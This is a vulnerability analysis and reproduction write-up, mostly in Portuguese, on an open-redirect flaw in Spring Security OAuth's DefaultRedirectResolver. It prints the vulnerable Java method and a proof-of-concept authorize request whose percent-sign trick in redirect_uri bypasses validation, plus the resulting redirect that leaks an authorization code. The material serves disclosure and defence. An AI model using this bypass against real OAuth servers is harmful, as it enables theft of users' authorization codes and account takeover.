
Spring Security OAuth 2.3 Open Redirection Análise e Reprodução
Spring Security OAuth 2.3 Open Redirection 分析复现篇
Spring Security OAuth versões 2.3 anteriores à 2.3.6, 2.2 anteriores à 2.2.5, 2.1 anteriores à 2.1.5 e 2.0 anteriores à 2.0.18, bem como versões mais antigas sem suporte, poderiam ser suscetíveis a um ataque de redirecionamento aberto que pode vazar um código de autorização. Um usuário malicioso ou atacante pode criar uma requisição para o endpoint de autorização usando o tipo de concessão de código de autorização e especificar um URI de redirecionamento manipulado através do parâmetro redirect_uri. Isso pode fazer com que o servidor de autorização redirecione o user-agent do proprietário do recurso para um URI sob o controle do atacante com o código de autorização vazado.
#VULNERABILIDADE: Ao manipular o parâmetro REDIRECT_URI, um atacante pode contornar a validação.
O código que causa a vulnerabilidade é encontrado no pacote org.springframework.security.oauth2.provider.endpoint A classe: DefaultRedirectResolver, cujo método obtainMatchingRedirect não faz a sanitização adequada
/** * Attempt to match one of the registered URIs to the that of the requested one. * * @param redirectUris the set of the registered URIs to try and find a match. This cannot be null or empty. * @param requestedRedirect the URI used as part of the request * @return the matching URI * @throws RedirectMismatchException if no match was found */ private String obtainMatchingRedirect(Set redirectUris, String requestedRedirect) { Assert.notEmpty(redirectUris, "Redirect URIs cannot be empty");
if (redirectUris.size() == 1 && requestedRedirect == null) {
return redirectUris.iterator().next();
}
for (String redirectUri : redirectUris) {
if (requestedRedirect != null && redirectMatches(requestedRedirect, redirectUri)) {
return requestedRedirect;
}
}
throw new RedirectMismatchException("Invalid redirect: " + requestedRedirect
+ " does not match one of the registered values: " + redirectUris.toString());
}
#VETOR DE ATAQUE POC A seguinte requisição feita pelo APLICATIVO CLIENTE após o usuário ter feito login contém o parâmetro REDIRECT_URI. A validação é contornada simplesmente adicionando um sinal de porcentagem, o que aciona um redirecionamento em vez do erro RedirectMismatchException
A REQUISIÇÃO ORIGINAL contendo um URI válido: GET /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://localhost:8086/login/oauth2/code/ HTTP/1.1
O atacante então engana a aplicação alterando completamente o URI para outro servidor adicionando uma porcentagem, por exemplo:
GET /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://%localhost:9000/login/oauth2/code/ HTTP/1.1 Host: localhost:8085 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost:8085/auth/login Connection: close Cookie: JSESSIONID=3394FD89204BE407CB585881755C0828; JSESSIONID=C0F1D5A2F1944DCB43F2BFFA416B7A63 Upgrade-Insecure-Requests: 1
A RESPOSTA de fato não produz um erro OAUTH esperado, mas redireciona o usuário:
HTTP/1.1 302 Cache-Control: no-store X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: DENY Location: http://localhost:8086/login/oauth2/code/?code=4ecsea&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D Content-Language: en-US Content-Length: 0 Date: Mon, 17 Jun 2019 11:06:18 GMT Connection: close